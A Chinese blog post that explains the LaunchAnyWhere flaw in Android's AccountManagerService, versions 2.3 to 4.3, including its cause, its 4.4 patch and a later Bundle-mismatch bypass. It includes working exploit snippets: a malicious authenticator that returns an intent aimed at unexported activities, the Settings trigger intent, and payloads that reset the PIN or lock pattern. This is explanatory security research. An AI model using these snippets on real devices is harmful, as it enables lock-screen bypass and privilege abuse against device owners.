漏洞概述
LaunchAnyWhere漏洞是一个AccountManagerService的漏洞,利用这个漏洞,我们可以任意调起任意未导出的Activity,突破进程间组件访问隔离的限制。这个漏洞影响2.3 ~ 4.3的安卓系统。
普通应用(记为AppA)去请求添加某类账户时,会调用AccountManager.addAccount,然后AccountManager会去查找提供账号的应用(记为AppB)的Authenticator类,调用Authenticator. addAccount方法;AppA再根据AppB返回的Intent去调起AppB的账户登录界面。
AccountManagerService同样也是系统服务之一,暴露给开发者的的接口是AccountManager。该服务用于管理用户各种网络账号。这使得一些应用可以获取用户网络账号的token,并且使用token调用一些网络服务。很多应用都提供了账号授权功能,比如微信、支付宝、邮件Google服务等等。
由于各家账户的登陆方法和token获取机制肯定存在差异,所以AccountManager的身份验证也被设计成可插件化的形式:由提供账号相关的应用去实现账号认证。提供账号的应用可以自己实现一套登陆UI,接收用户名和密码;请求自己的认证服务器返回一个token;将token缓存给AccountManager。可以从“设置-> 添加账户”中看到系统内可提供网络账户的应用。
如果应用想要出现在添加账户页面里,应用需要声明一个账户认证服务AuthenticationService:
android:exported="true"
android:enabled="true">
<intent-filter>
<action android:name="android.accounts.AccountAuthenticator" />
</intent-filter>
<meta-data
android:name="android.accounts.AccountAuthenticator"
android:resource="@xml/authenticator" />
</service>
并在服务中提供一个Binder
private AuthenticationService.AccountAuthenticator mAuthenticator;
private AuthenticationService.AccountAuthenticator getAuthenticator() {
if (mAuthenticator == null)
mAuthenticator = new AuthenticationService.AccountAuthenticator(this);
return mAuthenticator;
}
@Override
public void onCreate() {
mAuthenticator = new AuthenticationService.AccountAuthenticator(this);
}
@Override
public IBinder onBind(Intent intent) {
Log.d("tanzhenxing33", "onBind");
return getAuthenticator().getIBinder();
}
static class AccountAuthenticator extends AbstractAccountAuthenticator {
/****部分代码省略****/
@Override
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException {
Log.d("tanzhenxing33", "addAccount: ");
return testBundle();
}
}
}
声明账号信息:authenticator.xml
<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
android:accountType="com.tzx.launchanywhere"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name">
</account-authenticator>
漏洞原理
普通应用(记为AppA)去请求添加某类账户时,会调用AccountManager.addAccount,然后AccountManager会去查找提供账号的应用(记为AppB)的Authenticator类,调用Authenticator.addAccount方法;AppA再根据AppB返回的Intent去调起AppB的账户登录界面。
我们可以将这个流程转化为一个比较简单的事实:
- AppA请求添加一个特定类型的网络账号
- 系统查询到AppB可以提供一个该类型的网络账号服务,系统向AppB发起请求
- AppB返回了一个intent给系统,系统把intent转发给appA
- AccountManagerResponse在AppA的进程空间内调用 startActivity(intent)调起一个Activity;
AccountManagerResponse是FrameWork中的代码, AppA对这一调用毫不知情。
这种设计的本意是,AccountManagerService帮助AppA查找到AppB账号登陆页面,并呼起这个登陆页面。而问题在于,AppB可以任意指定这个intent所指向的组件,AppA将在不知情的情况下由AccountManagerResponse调用起了一个Activity. 如果AppA是一个system权限应用,比如Settings,那么AppA能够调用起任意AppB指定的未导出Activity。
如何利用
如果假设AppA是Settings,AppB是攻击程序。那么只要能让Settings触发addAcount的操作,就能够让AppB launchAnyWhere。而问题是,怎么才能让Settings触发添加账户呢?如果从“设置->添加账户”的页面去触发,则需要用户手工点击才能触发,这样攻击的成功率将大大降低,因为一般用户是很少从这里添加账户的,用户往往习惯直接从应用本身登陆。
不过现在就放弃还太早,其实Settings早已经给我们留下触发接口。只要我们调用com.android.settings.accounts.AddAccountSettings,并给Intent带上特定的参数,即可让``Settings触发launchAnyWhere:
intent1.setComponent(new ComponentName("com.android.settings", "com.android.settings.accounts.AddAccountSettings"));
intent1.setAction(Intent.ACTION_RUN);
intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {"自己的账号类型"};
intent1.putExtra("account_types", authTypes);
AuthenticatorActivity.this.startActivity(intent1);
这个过程如图
应用场景
主要的攻击对象还是应用中未导出的Activity,特别是包含了一些intenExtra的Activity。下面只是举一些简单例子。这个漏洞的危害取决于你想攻击哪个Activity,还是有一定利用空间的。比如攻击很多app未导出的webview,结合FakeID或者JavascriptInterface这类的浏览器漏洞就能造成代码注入执行。
- 重置pin码
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("confirm_credentials",false);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;
重置锁屏
intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.ChooseLockPattern"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;
漏洞修复
安卓4.4已经修复了这个漏洞,检查了Step3中返回的intent所指向的Activity和AppB是否是有相同签名的。避免了luanchAnyWhere的可能。
后续故事
这个补丁在当时是没什么问题,但是等到2017年,有海外的研究人员在一份恶意样本中发现,可以利用Parcelable反序列化绕过这个补丁,由于Google的补丁是在system_server中检查Intent,并且又通过AIDL传给Settings之后启动界面,这其中跨越了进程边界,也就涉及到一次序列化和反序列化的过程,那么我们如果通过Parcelable反序列化漏洞的字节错位,通过精确的布局,使得system_server在检查Intent时找不到这个Intent,而在错位后Settings却刚好可以找到,这样就可以实现补丁的绕过并再次实现LaunchAnyWhere,研究人员将发现的这种漏洞利用方式命名为Bundle mismatch。
原文链接:https://blog.youkuaiyun.com/stven_king/article/details/130259874